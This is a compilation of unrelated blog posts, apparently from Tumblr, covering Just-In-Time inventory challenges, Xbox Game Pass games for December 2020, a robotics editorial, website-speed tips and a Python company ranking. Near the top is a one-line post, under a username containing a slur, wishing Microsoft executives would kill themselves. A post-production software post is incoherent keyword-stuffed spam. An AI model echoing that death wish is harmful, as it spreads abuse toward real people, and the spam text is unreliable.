#software developers stop killing the search function challenge

[were-fag]

i hope microsoft execs kill themselves

[benjamingordoncambridgecapital]

Top 8 Challenges in Implementing Just-In-Time Inventory Systems

Just-In-Time (JIT) inventory systems are designed to reduce waste, free up capital, and streamline production by receiving goods only when they’re needed. On paper, it sounds ideal. In execution, it’s anything but simple. The margin for error shrinks fast in JIT environments, and every part of the supply chain must operate with near-perfect coordination. When implemented correctly, JIT can dramatically improve efficiency. But getting there requires confronting a range of real-world challenges. I’ve worked with teams attempting to shift toward JIT and have seen where things break down. The obstacles often aren’t theoretical—they’re practical, logistical, and human. If you're looking to move toward a leaner, faster inventory model, these are the issues you need to plan for upfront.

1. Supply Chain Disruptions Can Bring Everything to a Halt

JIT relies on predictability, which makes it especially sensitive to disruption. When we eliminate buffer stock, we lose the cushion that protects operations from supplier delays, port congestion, or transportation hiccups. Even small delays can shut down production lines or miss delivery windows. That vulnerability became painfully clear during global freight disruptions and container shortages. Without extra inventory on hand, a late delivery of even a single component can stall the whole process.

We work around this by choosing suppliers with reliable logistics networks and diversifying sourcing where it makes sense. For high-risk items, we use location-based sourcing splits or dual suppliers. But even then, real-time tracking and strong communication are required to catch problems early. JIT can’t tolerate surprises—and modern supply chains have plenty of those.

2. Forecasting Demand Accurately Is Easier Said Than Done

Most companies aren’t forecasting with enough precision to support JIT. Demand doesn’t follow spreadsheets, and customer behavior changes fast. A promotion, a competitor’s campaign, or a shift in weather can all throw off projections. With JIT, there’s no room for error. If forecasts overshoot, stock goes to waste. If they undershoot, shelves go empty.

We now pair historical sales data with external variables like regional demand signals, social trends, and search behavior. AI tools help simulate demand volatility, but these models still depend on clean, current data inputs. It takes more than one good forecast—it takes constant reforecasting and quick decision-making across teams. Without that, the speed of JIT becomes a liability.

3. Supplier Dependability Becomes a Strategic Risk

With JIT, we put more pressure on suppliers to deliver precisely, frequently, and without fail. That kind of dependency raises the stakes on every relationship. A missed delivery window or a quality control issue doesn’t just cause a delay—it can stop operations entirely.

We mitigate this by investing in supplier development and adding service-level expectations into our contracts. But consistency can still be a challenge, especially with overseas vendors dealing with time zones, political instability, or port access issues. Having backup suppliers and transparent performance metrics isn’t optional—it’s a necessity. Supplier scorecards now include on-time performance, fill rate, and communication quality, because those metrics directly influence our ability to run JIT without disruption.

4. Getting Internal Teams in Sync Takes Time and Effort

Switching to JIT requires departments that may not usually interact—procurement, operations, logistics, planning, and finance—to work as one. Silos kill JIT. If one department delays a decision or fails to flag a change, it affects everything downstream. The tolerance for misalignment drops to zero.

We address this with weekly cross-functional meetings and integrated software that gives everyone real-time visibility into key metrics. Purchase orders, lead times, forecast changes, and delivery schedules all flow through the same system. That way, no one’s working off outdated assumptions. But it takes time to build trust between departments and eliminate manual workarounds. JIT requires a high degree of operational discipline, and that doesn’t happen overnight.

5. Technology Is a Prerequisite, Not a Luxury

To support JIT, we rely on systems that track inventory movement, monitor supplier performance, and link procurement to production in real time. Manual methods fall apart quickly under JIT’s precision demands. But the required tools—like advanced ERP systems, demand planning software, and supply chain visibility platforms—come with high upfront costs and long deployment timelines.

Smaller companies often underestimate the tech lift involved in doing JIT properly. Without barcode scanners, RFID, API integrations, and automated replenishment, you’re flying blind. These systems also require good data hygiene. If inventory counts are off, or if a supplier update goes unlogged, the whole system gets out of sync. Investing in technology is unavoidable, but it’s just as important to train the teams using it.

6. Training Employees for a New Operational Culture

JIT doesn’t just change workflows—it changes the company mindset. Employees used to ordering bulk supplies once a month now need to reorder smaller batches more frequently, with tighter deadlines and no room for error. People who are used to "just-in-case" stock strategies often resist the change. It’s not a minor adjustment—it’s a shift in how the entire organization views risk, urgency, and control.

We spend time retraining teams not just on the technical steps of JIT, but on the rationale. Why less inventory is better. How speed creates savings. Where the new failure points are. Buy-in is critical, especially from frontline staff who manage incoming goods, reorder points, and vendor communication. If even one link in the chain doesn’t commit to the model, it collapses under pressure.

7. Low Inventory Leaves No Room for Mistakes

JIT cuts carrying costs, but it also eliminates slack. One miscount, one mislabeled shipment, or one unprocessed return can throw the whole system off. There's no backup inventory to cover mistakes. That raises the stakes on inventory accuracy, receiving discipline, and documentation.

To protect operations, we’ve adopted cycle counting and regular spot audits. Warehouse teams get alerts if inventory movement doesn’t match expected activity. We also track fill rates and backorders daily. The system works best when it’s watched closely. JIT demands precision, and precision only comes with consistency and accountability.

8. Scalability and Demand Spikes Are Tough to Manage

JIT is ideal when demand is stable. But when there's a sudden surge—whether from seasonality, a viral product, or a large B2B order—the system struggles. Without stock on hand, meeting the demand spike often means rushing orders, paying premium shipping, or disappointing customers.

To prevent this, we identify items with known variability and manage them differently. Some SKUs are intentionally excluded from JIT and kept in safety stock. Others are fed through hybrid models, where only a portion of the volume is run through the JIT pipeline. Flexibility matters more than purity. The most successful JIT systems I’ve seen are the ones that adjust, not the ones that cling to the textbook version of the model.

Common JIT Pitfalls

Delays from supplier disruptions

Inaccurate demand forecasts

Lack of supplier consistency

Poor coordination between departments

Inadequate or outdated technology

Resistance or misunderstanding from staff

Increased risk of inventory stockouts

Difficulty handling demand spikes

In Conclusion

Just-In-Time inventory can drive real efficiency, but only when the entire supply chain is ready to support it. That means resilient supplier relationships, reliable forecasting, connected systems, and team-wide alignment. Without those, JIT introduces more risk than reward. I use JIT where it makes sense—on predictable, high-volume SKUs with dependable supply partners and tight operations. But I also know when to hold back. JIT isn’t a one-size-fits-all solution. It’s a powerful tool when implemented smartly—and a costly mistake when forced into places it doesn’t belong.

Explore the practical challenges and solutions of Just-In-Time (JIT) inventory systems with Benjamin Gordon on Medium. Learn how to overcome disruptions, forecasting hurdles, and supplier risks while optimizing your supply chain efficiency with JIT strategies.

[aion-rsa]

Xbox Game Pass: New Games for December 2020 Revealed

https://ift.tt/eA8V8J

Xbox Game Pass is Microsoft’s subscription service for Xbox One owners. It’s designed to be like a “Netflix for games,” where you pay a simple monthly rate and get access to loads of games for download. It’s not to be confused with the Xbox Live Gold membership, which gives users a selection of free games each month.

There was a huge surge in popularity and profile for Xbox Game Pass in 2018, mainly due to Microsoft unveiling a strategy that puts brand new games on the service. Sea of Thieves was the first example of this, followed by State of Decay 2. Crackdown 3 launched on Feb. 15. Since then, the service has seen the Day 1 launch of several Xbox exclusives, including Gears 5, The Outer Worlds, and Halo: Reach on the Halo: The Master Chief Collection.

Membership to Xbox Game Pass will set you back $9.99 per month. You can now also get an Xbox Game Pass Ultimate subscription for $1 for the first month and $14.99 a month after that. The subscription includes an Xbox Live Gold membership as well as all of the games offered on Xbox Game Pass and Xbox Game Pass for PC. Plus, with cloud support, you can play a selection of Xbox Game Pass titles on your Android phone!

New games are added each month to Xbox Game Pass. Here are the games coming in December (with descriptions courtesy of the Xbox team):

Xbox Game Pass: Games for December 2020

Control (Android & Console) – December 3

After a secretive agency in New York is invaded by an otherworldly threat, you become the Director struggling to regain control. This third-person action adventure game will challenge you to master a combination of supernatural abilities that will keep you on the edge of your seat.

Doom Eternal (PC) – December 3

Now coming to Xbox Game Pass for PC! Hell’s armies have invaded Earth and now you must become the Slayer in an epic single-player campaign to conquer demons across dimensions and stop the final destruction of humanity. Experience the ultimate combination of speed and power in Doom Eternal – the next leap in push-forward, first-person combat.

Haven (Console & PC) ID@Xbox – December 3

Does love really conquer all? Play as two lovers who gave up everything and escaped to a lost planet to be together. Glide through a mysterious landscape, explore a fragmented world and fight against what’s trying to tear them apart in this RPG adventure about love, rebellion, and freedom.

Rage 2 (Android) – December 3

Dive headfirst into a dystopian world devoid of society, law, and order. Rage 2 brings together two studio powerhouses – Avalanche Studios, masters of open world insanity, and id Software, creators of the first-person shooter – to deliver a carnival of carnage where you can go anywhere, shoot anything, and explode everything.

Slime Rancher (Android & Console) ID@Xbox – December 3

Slime Rancher is the tale of Beatrix LeBeau, a plucky, young rancher who sets out for a life a thousand light years away from Earth on the “Far, Far Range” where she tries her hand at making a living wrangling slimes. Attempt to stake a claim, amass a fortune, and avoid the continual peril that looms from the rolling, jiggling avalanche of slimes around every corner.

Va-11 Hall-A: Cyberpunk Bartender Action (PC) ID@Xbox – December 3

Welcome to Va-11 Hall-A, the original cyberpunk bartending simulator!  Take on the role of Jill Stingray, bartender at the downtown watering hole of Va-11 Hall-A (affectionately nicknamed “Valhalla”). In this story-driven game you’ll influence a myriad of decisions through the drinks you prepare, so listen carefully to your clients and mix the drink that will change their lives.

Yes, Your Grace (Android, Console & PC) ID@Xbox – December 3

In this kingdom management RPG, petitioners will arrive in the throne room each turn to ask for your advice and assistance. Decide whether to help them with their problems, or to conserve resources for more important matters. Remember: supplies are limited, and not everyone has the kingdom’s best interests at heart…

Dragon Quest XI S: Echoes of an Elusive Age – Definitive Edition (Console & PC) – December 4

Follow the perilous journey of The Luminary who must uncover the mystery of his fate with the aid of a charismatic cast of supporting characters. This Definitive Edition includes all the content from the acclaimed Dragon Quest XI, and adds extra scenarios, a grand orchestral version of the music, the ability to switch between 2D and 3D graphic modes, a Japanese audio option, and much more!

Call of the Sea (Android, Console & PC) ID@Xbox – December 8

Dive into an otherworldly tale of mystery and love set in the 1930s, South Pacific. Play as Norah, an enigmatic woman on the trail of her missing husband’s expedition. The search takes place on a strange but beautiful island in the South Pacific, filled with secrets waiting to be unearthed. Call of the Sea is a story-led game with puzzles, where every clue leads you deeper and leaves you questioning everything.

Monster Sanctuary (Android & Console) ID@Xbox – December 8

On your quest to become the ultimate Monster Keeper, you’ll unravel the cause of a mystery that threatens the peace between humans and monsters. With over 100 monsters to encounter and dangerous lands ahead, you’ll need to build a powerful team if you want to save the Monster Sanctuary.

Starbound (PC) ID@Xbox – December 8

In Starbound, you can create your own story! In this space-sandbox adventure you may choose to save the universe from the forces that destroyed your home, uncovering greater galactic mysteries in the process, or you may wish to forego a heroic journey entirely in favor of colonizing uncharted planets. Farm, collect, craft and build – the possibilities are limitless.

Unto The End (Console & PC) ID@Xbox – December 9

Unto The End is a challenging combat adventure game in the style of a cinematic platformer. The story is simple: get home to your family. Master read-react combat in intense sword fights. Spot opportunities to trade and use items. An adventure told through your actions; how will you make it home?

Assetto Corsa (Android & Console) – December 10

Assetto Corsa is the ultimate racing simulator. Featuring legendary circuits such as Monza, Silverstone and Circuit de Barcelona-Catalunya, each track has been reproduced using Laser scan technology, offering racers the most realistic experience possible out on track. Assetto Corsa features advanced aerodynamic simulation, with each car developed using knowledge gained through collaboration with manufacturers.

Gang Beasts (Android & Console) ID@Xbox – December 10

Gang Beasts is a silly multiplayer party game with surly gelatinous characters, brutal slapstick fight sequences, and absurd hazardous environments, set in the mean streets of Beef City. Customize your character and fight enemies in the melee game mode or fight with friends against the gangs of Beef City in the gang game mode.

GreedFall (Android, Console & PC) – December 10

Engage in a core roleplaying experience with GreedFall, and forge the destiny of a new world seeping with magic, and filled with riches, lost secrets, and fantastic creatures. With diplomacy, deception, and force, become part of a living, evolving world. Influence its course and shape your story.

Superhot: Mind Control Delete (Android & Console) ID@Xbox – December 10

Time moves only when you move. The long-awaited third game in the groundbreaking Superhot franchise, Mind Control Delete gives you more insight into the signature power fantasy world of Superhot with more story, more signature gameplay, more action, more guns. Keep dancing the slow-motion ballet of destruction for so much longer than ever before.

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Yooka-Laylee and the Impossible Lair (Android, Console & PC) ID@Xbox  – December 10

Get the Royal Beettalion ready to take down Capital B and his Impossible Lair! Join Yooka and Laylee in an all-new 2.5D adventure! Run, jump, and roll your way through a series of challenging 2D levels and explore a puzzling 3D Overworld packed with secrets and collectibles.

Mørkredd (Android, Console & PC) ID@Xbox – Available now

The Orb is your fate. Mørkredd is a tense, physics-based co-op puzzle game for one to two players combining skill-based puzzle-solving, a challenging balance of light and shadow, and a dark world full of secrets to unlock.

The Elder Scrolls V: Skyrim Special Edition (Android & Console) – December 15

Winner of more than 200 Game of the Year Awards, the Skyrim Special Edition includes the game and add-ons with all-new features like remastered art and effects, volumetric god rays, dynamic depth of field, and more. Also, bring the power of mods to consoles. New quests, environments, characters, dialogue, armor, weapons, and more – with Mods, there are no limits to what you can experience.

Among Us (PC) ID@Xbox – December 17

Play with 4-10 players online or locally on your home network via WiFi as you attempt to prepare your spaceship for departure, but beware as one or more random players among the crew are Impostors bent on killing everyone!

Beholder: Complete Edition (Android & Console) ID@Xbox – December 17

Set in a dystopian world where privacy is non-existent and the State controls every aspect of life, Beholder gives you the choice to be what the State requires, or be the empathetic landlord who turns a blind eye. Beholder Complete Edition also contains the Blissful Sleep DLC, a new scenario based on an ex-landlord, with all new tenants and stories to discover.

Code Vein (Android & Console) – December 17

In the not too distant future, a mysterious disaster has brought collapse to the world as we know it. At the center of the destruction lies a hidden society of Revenants called Vein. Team up with your friends and embark on a journey to the ends of hell to unlock your past and escape your living nightmare in Code Vein.

The Dark Pictures Anthology: Man of Medan (PC) – December 17

In Man of Medan, five friends set sail on a holiday diving trip. As the day unfolds, and a storm rolls in, their trip soon changes into something much more sinister. Who will live? Who will die? It’s down to you and the choices you make. Share your terrifying story with a friend online or go for safety in numbers with the offline “movie night” mode with up to five friends.

Monster Train (Console) ID@Xbox – December 17

Monster Train is a strategic roguelike deckbuilding game with a twist. Set on a train to hell, you’ll use tactical decision-making to defend multiple vertical battlegrounds. With real-time competitive multiplayer and endless replayability, Monster Train is always on time.

MotoGP 20 (Android, Console & PC) – December 17

Rev your engine on MotoGP 20! Live the full 2020 official MotoGP season and experience the return of the managerial career where you decide to join an official team or totally new one as an entire entourage supports you on your career path. Discover new graphical and technical improvements to customize your rider and bike, compete with the legends of the sport in the renewed historic mode, challenge your friends online, or take on the most challenging races with A.N.N.A, the Neural AI based on machine learning.

My Friend Pedro (Android) ID@Xbox – December 17

A violent ballet about friendship, imagination, and one man’s struggle to obliterate anyone in his path at the behest of a sentient banana. The strategic use of split aiming, slow motion, and window breach create one sensational action sequence after another in an explosive battle through the violent underworld.

Neoverse (Android & Console) ID@Xbox – December 17

Neoverse is a beautiful, fantastic game consisting of adventures with thrilling challenges. It is a strategic, action, rogue-lite, deck building game that will test the player’s skill. Start an adventure with unique heroes to save the world along various timelines.

Wilmot’s Warehouse (Console & PC) ID@Xbox – December 17

Wilmot’s Warehouse is a puzzle game about keeping a warehouse running in tip-top shape. Just remember where you put everything, because when the service hatch opens, you’ll need to find the things people want quickly, in order to earn the coveted Performance Stars.

The post Xbox Game Pass: New Games for December 2020 Revealed appeared first on Den of Geek.

from Den of Geek https://ift.tt/3e8utqM

[postproductionsoftwarekenh9-blog]

The Most Influential People in the st thomas virgin island jobs post production editing Industry and Their Celebrity Dopplegangers

Our clients love seeing all of their bookings, resources and projects on one screen, the complete studio overview.

In the last blog post we explored what Hollywood or movies can teach us about project management. We deduced many similarities between movie making and project management. We learned that movies themselves are large scale creative projects.

Can I download Adobe Premiere Pro for free?

The term bins comes from the days of editing film when the developed film clips were stored in bins for easy organization. In the Premiere Pro project panel, bins serve as file folders to hold and organize your media assets. Bins can hold any combination of media: video, audio, still images, and even other bins.

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In today’s customer-centric environment, managing digital media is an imperative. From marketing, creative, web, ecommerce, sales to corporate communications, we all want to engage our staff, partners, customers and market with compelling and relevant information. OpenText™ Digital Asset Management (DAM) solutions serve as the centralized, secure and accessible repository - whether cloud-based or on-premises - to manage digital media, branding and video. Our DAM solutions help people find, share and use digital media assets to deliver beautiful experiences.

Key Drivers of the Media Asset Management (MAM) Solutions Market

The metadata can simply include the name, author, or creation date of a file, or track more complex information like extracted speech converted to text from a stored video, or the rights and fees around image use. DAM software takes the control, flexibility, portability, and access also found in MAM systems, and adds reporting to it – the ability to track and measure digital asset engagement across an organization and its potential reach. It’s one thing to have a system for storing your own collection of files and media — but what happens when you add more people to the equation?

It’s ideal for basic editing and great for everyday video projects.

Add flair and style to your next cut with these 200 video transitions.

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BeBop Business Continuity & Disaster Recovery

Digital content media files are the currency of modern media broadcast systems, but managing large repositories of media files can be a major challenge for any organization. Searching, storing, retrieving, and distributing video and audio files for broadcast can be time-consuming, managing multiple metadata even for the simplest of operations, as a modern broadcaster do not live in a simple world. We can also help you with Enterprise Digital Asset Management (DAM) and Production Asset Management (PAM) software. Editshare Flow MAMFlow provides a powerful production media asset management (PAM) platform for creative control of all files during the production process including 4K and remote editorial workflows. Flow will tag, organize, and manage your media, improving efficiency and multiplying productivity.

What are 3 types of assets?

Digital Assets Defined Examples of digital assets you may own include: Social media accounts. Personal photographs that are stored online. Online bank accounts or investment accounts.

What’s the difference between media asset management and DAM?

What are the top rated digital asset management software products who uses this software?

What are social media assets? Social media assets include the accounts, pages, followers, and content that make up your social media presence. All of these assets have business value. The followers you earned are receptive to what you do and say. The content you share builds your brand.

DAM systems not only store these social media assets, but also make them easily searchable using metadata and categories, control the access permissions, and even convert the files to the right image size and format. There are several broad categories of digital asset management.

I bought the damn software on discs, Adobe shouldn’t be able kill it to get me to subscribe. With classic Lightroom, Adobe only got money once, but would have to pay Google each time you use the Map module. The new Lightroom CC (not Classic CC) does default to storing all your photos in the cloud, so that you can reach them from any of your desktop or mobile devices, like the way Google Photos works. If you stop subscribing, the applications stop working, but the documents remain with you.

How do I manage media in Premiere Pro?

First of all, Adobe Premiere Pro is not free software. However, there is an option to get it for free. Basically, you can get a fully-functional 7-day trial version of any Adobe app - even a whole Creative Cloud is collaborative document editing an option.

[omghappysimming]

Gladiator Heroes Hack Online

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[juniperpublishers-robotics-blog]

Era of Robotics- Juniper Publishers

Editorial

Science and technology are always progressing, now it is the era of robotics. Many different ways can make robots. The most common robot is mechanical. Mechanical engineering is a major branch in engineering. In the past many transportation tools are the achievements of mechanical engineers. To make it clear, let see a few examples, locomotives, automobiles, ships, airplanes, and even spaceships. Certainly many automations in manufacturing are related to mechanical engineering. Robots are very complicated, they are the products of many disciplines. However mechanical engineer must take the major role in the process. To make it clear I will talk about different robots needed to be built, how these robots to be built and the present status.

Many robots are needed. Let me mention a few below. A test pilot for a newly designed airplane is a dangerous job. It is possible to have a robot to do the job. Fire fighting is a dangerous job. Buildings that are collapsed or burning can trap both first responders and other victims inside. Drones could be built to fly or to drive through small spaces to look for trapped people. Policemen are also at risk. Routine traffic stops, with the wide availability of guns in this country, can escalate to gunfire at any moment. To avoid these dangerous encounters, robots could be deployed by a police to do the routine check-ups. In the recent wars, many military service men and women were injured or even killed because of ground mines. Robots could be deployed here before soldiers. Actually wars are always dangerous for humans to fight, it is possible to use robots to fight, and each solder could control a robot to fight in front for him or her. In this way, the death rate will be greatly reduced. Seniors or disabled persons often need a maid or in-home health service on a daily basis. They also need a companion. A robot may help, and technology is slowly achieving societal expectations. At this moment, humanoid or anthropomorphic robots cannot replicate the skill and emotional support of a care-giver so this is still a challenge. These are just a few examples of ways in which robots may benefits human lives, but we expect many applications to surface with time.

A robot is a multidisciplinary product, including the following major disciplines: mechanical engineering, electrical engineering, computer science, and medical science. Design requires the application of all the fundamental sciences. A good design considers the product from many different perspectives. To make an anthropomorphic robot we must consider the motions of arms, hands, legs, etc. with respect to mechanical engineering principles such as dynamics, mechanics, materials, stress analysis, etc. Furthermore, because of limited space and motor speed, often planetary gear train and harmonic gear train are employed. A good mechanical engineer should have all of these in his or her background. In addition, the need for an intelligent brain in the robot should not be underestimated. The computer and proper software needed to control are becoming exceedingly complex. For these we need engineers in computer science and electrical engineering. Moreover, to make robots really humanistic, we must consider the human form as a model and we need input from medical scientists.

At this moment everything is progressing, however a robot for test pilot is not yet available, but unmanned airplane exists: many different unmanned aircrafts were developed in recent years. For example, one is designed for high altitude flight and powered by solar energy so it can fly for a long time without refuel. Some can carry a bomb and is remotely controlled by a pilot as reported on TV. The unmanned plane or drone is low in speed and has a communication delay so that complex aerial maneuvers are not possible. Certainly, at this moment, a drone cannot function as well as a plane with an on-board pilot. There is a long way to go to reach the goal of robotic test pilot. A robot to replace a firefighter is not available either. However, a remote controlled rover and remote controlled helicopter are available. They can carry a camera or use a claw to help fire fighters to search for trapped people but lack the functionality, durability, and reliability to replace a fire fighter. A robot soldier is not available but mine detectors are available. These detectors are still in development and are not routinely used to clear mine fields. Remote-controlled weapons are also in development. They are frequently demonstrated in the news but not used in the battlefield. Machine guns or rifles are mounted on a vehicle with a remote controller and can be fired when the controller sees an enemy in sight. So the future wars fought by robots is possible. A real robot maid or care-giver does not exist, but many simple functions such as mechanical arm and hand are available. Robot-assisted living is a very interesting subject, many people are working on it. Robot even is used in agriculture field in China.

We humans have a vestibular system in our ears to sense the balance of body in vertical position. Similarly, gyroscope has a special property to keep the rotation in steady state, say vertical position. It will sense the deviation from the vertical position. This property has been used in power wheel chair. Walking is so essential for every human being to do. But it is difficult for a robot to do. At this moment humanoid robot walking is existing but it is to be improved. It can only walk in small steps and with low speed. Many scientists are working on this subject. I think that one possible solution is to have a gyroscope sensing device to control the motion of legs Robot vision is another interesting subject to study, at this moment 3-d vision has been developed and actually applied to unmanned helicopter to detect the overhead power cable as a visual guide to fly Also 3-d stereo vision is used for nursing robot (mechanical device) to take care of elderly. From 3-d stereo vision of nose and mouth, the robot can easily recognize who is the elderly person to be served. Interactive is a very hot subject to pursue. Early stage development up to the year of 2015 in the interactive communication is well covered by the report by Mavridis. However, in view of recent development of 'Dragon', computer can type words by voice commands. And I Phone 7 can accept voice commands to give out information. With a minor modification, robots can accept voice commands and carry out tasks as a real maid is possible in the near future. All of these projects mentioned above are in the development stage, so there is lots of work waiting to be done. We have lots of work to do.

For more open acess journals please visit our site: Juniper Publishers

For more articles please click on: Robotics & Automation Engineering Journal

[thelmasirby32]

10 Silent killers that affect your website speed

Time is the most valuable asset. Nothing is more frustrating than slow page loading. A slow website kills conversions and impacts search rankings. Google stated that it is important to consider website speed when determining search rankings.

Here are some interesting website load statistics:

An Akamai study showed that 47% of customers expect websites to load in a few seconds or less.

One second delay on Amazon could cost $1.6 billion on sales every year.

According to Pingdom, 78% of the top 100 retail websites take under three seconds to load.

One second delay on your page load results in a seven percent reduction in conversions.

The average load time on the desktop is 1.286 and 2.594 seconds on mobile.

Optimizing your website’s speed is not a necessity, but a must-have, especially if you want to beat out the slower competition. Once you notice that your site is loading more than three seconds, it’s time to figure out things that can slow down your website speed and improve the overall performance.

Let’s discover lesser-known causes of website slowdown and find the best solutions to deal with each one.

 1. Caching issues

Browser caching is very important for repeat visitors. Every time users come to your website for the first time, their browser stores all the files like images, CSS, and Java files for a specified period. The next time the visitors come back to the web page, browser caching allows these stored files to be served quickly upon the user’s next visit.

Reducing the number of round-trips results in faster page load times and improve user experience. Caching can definitely help you speed your website, but it’s not without its issues. If you don’t set up caching properly, it can hurt user interaction. It’s essential to develop a solid caching strategy to maintain strong user experiences.

If you don’t use WordPress, you can add the Cache-Control and Entity tags (ETags) headers to HTTP response headers. ETags are used to validate whether the client has the recent version of a record. While Cache-control is used to define browser caching policies in client and server responses. As a result, these headers help you reduce the need for visitors to download the same files from the server twice and reduce the number of HPPT requests.

If your website is running on WordPress, you can use cache plugins for better performance. WP Rocket is a great premium cache plugin that includes a lot of extra features like lazy loading, database cleanup, CDN integrations, and many more. You don’t have any technical skills to set it up to have faster websites.

2. Overloaded database

An overloaded database can be a silent killer when it comes to website performance. One of the pitfalls with WordPress websites is that your database is overloaded with multiple post revisions, deactivated plugins, saved drafts, and others. Trackbacks and pingbacks don’t have any practical use in WordPress. Ensure to disable both of them because they clog up your database and increase the number of requests.

Make sure to delete other garbage files like spam and trash folders, transients, and database tables that can also slow down your website. As I mentioned above, WP Rocket is one of the easiest ways to schedule and clean up these files every week. You can optimize your database using the ‘Database’ tab.

Source: Screenshot made by the author 

Using WP Rocket, you can also schedule an automatic database cleanup.

3. Outdated CMS

Running an outdated version of your CMS can slow down your website and cause different security vulnerabilities. Most CMS like WordPress, Joomla, or Drupal let you know once any update is available. Having the latest versions of plugins and any software will result in faster load times.

In case you haven’t still updated your CMS or don’t get any notice, run a regular page speed test on different pages of your website to find out whether the latest updates or versions of the software are compatible with your web hosting or available fixes that can improve the overall performance of your website by making them faster to load.

4. Excessive usage of social media scripts

Social media has become a crucial part of every website. No matter how large your website is, you still need to connect social media to your site and make it easier for users to share your posts. The excessive usage of social media scripts and plugins can kill your site’s performance.

Limit the number of social media plugins and scripts that you don’t use at all and find alternate ways to schedule and automate your social media tasks. Zapier is a great website service that can help you automate these tasks and reduce the burden on server resources and your website.

When it comes to sharing options at the end of each post, it’s a great way to easily share your publications, but these options can add a lot of load to your website. Try not to use them at every single page of your website and include only the essentials.

5. The use of chatbots

Chatbots are great for handling customer inquiries. According to Salesforce, 69% of customers want to use chatbots to speed up their communication with a brand. But there are two sides to the coin. Chatbots can hurt your website speed in case the script isn’t implemented properly and can take your website longer to load.

It’s important to ensure that your chatbot is loading asynchronously. I mean when your chatbot performs any action on your website like initiating a conversation with a customer or sending pings, this action should be routed by external servers. So, make sure to use the right code that enables this action. Check whether there is any problem with a chatbot script using Google’s PageSpeed Tools.

For easier set-up and simple communication, you can use an out-of-the-box solution like Tidio that doesn’t require any coding skills and takes only a moment to create a chatbot. The best thing is the ability to communicate with customers in one simple dashboard. The tool also integrates with different third-party apps to provide better customer service.

Source: Screenshot by Tidio

6. Broken links

Broken links are not only a pain for website visitors but a real drain on bandwidth. I’ve recently made a detailed analysis of one of my clients and have detected a lot of 404 errors in Google Webmaster Tools. Once I’ve fixed them, the average load time per user boosted from seven seconds to two seconds, and there was a huge decrease in bounce rate.

So, if you have many broken links on your website, you are just wasting resources. Moreover, they can hurt user behavior metrics and negatively affect your rankings. To detect broken links, I would recommend getting audit reports with the SE Ranking Website Audit. The tool sorts all your web pages by status code to view which ones are 404.

Source: Screenshot by SE Ranking

One of its major benefits is the ability to go deeper than others and find out crawl errors that other tools don’t. Once you get these broken links, you can fix or remove them for good.

7. Render-blocking JavaScript

Every time your website loads in the browser, it sends out calls to every script in a queue. That queue of these scripts should be empty before the website appears in the browser. If this queue is very long, it can slow down your web pages without allowing visitors to fully view the site. These kinds of script queues are called the render-blocking JavaScript and CSS files.

To make your web pages load faster, Google recommends eliminating render-blocking scripts. Before removing them, identify which scripts cause problems using Google’s PageSpeed Insights. 

Most website owners use different traffic and conversion analytics platforms to analyze and measure any type of traffic and conversions with one click. Most of them are installed by using JavaScript code that can slow down your website. The best way to track different events is to use Finteza whose main tracking script (downloaded from the Finteza server) doesn’t impact website performance and can be embedded into the page asynchronously.

Source: Screenshot by Finteza

8. Accelerated mobile pages (AMP)

Everyone knows that Accelerated Mobile Pages (AMP) is a Google project created to speed up web pages on mobile devices by adding an “AMP” stamp next to your mobile snippets. While the idea of having a fast mobile website with content sounds like a great idea, there are some challenges when it comes to AMP.

While creating AMP improves website performance, it removes all of the dynamic features that slow down websites. In other words, it changes the design of your website and provides less functionality for your visitors that can result in reducing conversions. According to this case study, Kinsta saw their mobile leads drop by 59% after adding AMP, so they disabled it.

So, use AMP carefully as it can lower your mobile conversions. If you still want to use them, do it properly (more instructions here). Make sure to validate AMP for Google Search and fix any possible issues.

9. Gravatars

While Gravatars offer convenience and easy customization to your user base, there is one drawback, speed. This is not really visible on smaller websites, but if you have a large website with a lot of blog comments, you will notice much of a slowdown. You have some options to fix that:

Disable Gravatars in WordPress

Remove comments that don’t have value

Use caching Gravatars like Harrys or Optimum Gravatar Cache

Reduce your Gravatar image sizes

Paginate comments in WP Disable

10. Invalid HTML and CSS

If you stop using invalid HTML and CSS codes, that will increase the rendering time of web pages and the overall site performance. Make sure to create HTML and CSS that aligns with the W3C standards if you want browsers to interpret your site more consistently.

Check your HTML through the W3C HTML Validator and CSS through the W3C CSS validator. One of the options is to validate HTML with the Grunt HTML validation package and Stylelint.

Bottom line

A slow-loading website is something that will turn your customers away before they can visit your website. To keep your site running well and loading fast, you need to focus on these web performance killers and do the best to prevent these issues and make your site more efficient.

Irina Weber is Brand Manager at SE Ranking. She can be found on Twitter @irinaweber048.

The post 10 Silent killers that affect your website speed appeared first on Search Engine Watch.

from Digital Marketing News https://www.searchenginewatch.com/2020/03/17/10-silent-killers-that-affect-your-website-speed/

[stenalferd-blog]

10 Top Python Web Development Companies in India & United States

Original Source- Hackernoon

Python Programming language goes way back in the 1980s when it was first conceived by Guido Van Rossum. The design of Python was influenced majorly by ABC programming language, which was also something that Guido was working on before he developed Python. Python supports multiple programming paradigms and is often referred to as a “Batteries included” language as it has a comprehensive library. According to

Ubuntu Pit

, it ranks 2nd in the list of best programming languages. Python is free to use and is an open-source programming language that was designed to be highly extensible. It’s a cross-platform language that can run on popular operating systems like Windows, Mac, Linux, Unix, etc. Not just that, it has some of the advanced features because of which Python development companies are in great demand today.

In this blog, I am going to mention top Python web development companies in India and United States. These companies have been shortlisted based on below mentioned parameters:

Google & yahoo organic ranking

Client reviews from rating agencies: Clutch & Goodfirms

Client testimonials

Online reputation and client feedback of the company

Cumulative annual growth rate of company

Here is the list of top Python web development companies:

Rank 1: Resourcifi

Rank 2: RnF

Rank 3: Fusion Informatics

Rank 4: PixelCrayons

Rank 5: Mobiloitte

Rank 6: Paragyte

Rank 7: Mindbowser

Rank 8: Arkenea

Rank 9: SAG IPL

Rank 10: ValueCoders

Let's discuss these Python web development companies in detail:

Resourcifi

What’s going to blow you away about this company is the prices for the kind of services they offer. Not just the testimonials of their clients, but the variety of

python web developers

they have for custom web development is just phenomenal, not to mention they have some of the most proficient Python coders in the industry. It’s a US based company that has offices in the USA as well as in India.Another great thing about hiring Python engineers from Resourcifi is their flexible hiring model. What if you have to suddenly scale up your operations because your business was growing? Whether you’re a startup or a well established organization, hiring developers from Resourcifi would mean you can easily able to alter your requirements.

RnF

They made it to the top of our list for all the reasons I could find in my checklist. The reason why in which it stands apart is because of its client testimonials, something we concluded only after getting in touch with them featured on their website, who were cooperative enough to have responded. RnF incorporated in 2009 with a view to offer the best services to their clients no matter what.

I wouldn’t doubt that after seeing them having built an empire all the way from scratch, that too, within just a decade. Even though they’re known for their custom Python web development services, they have a team of Website Developers, offering services in several other programming languages and frameworks.

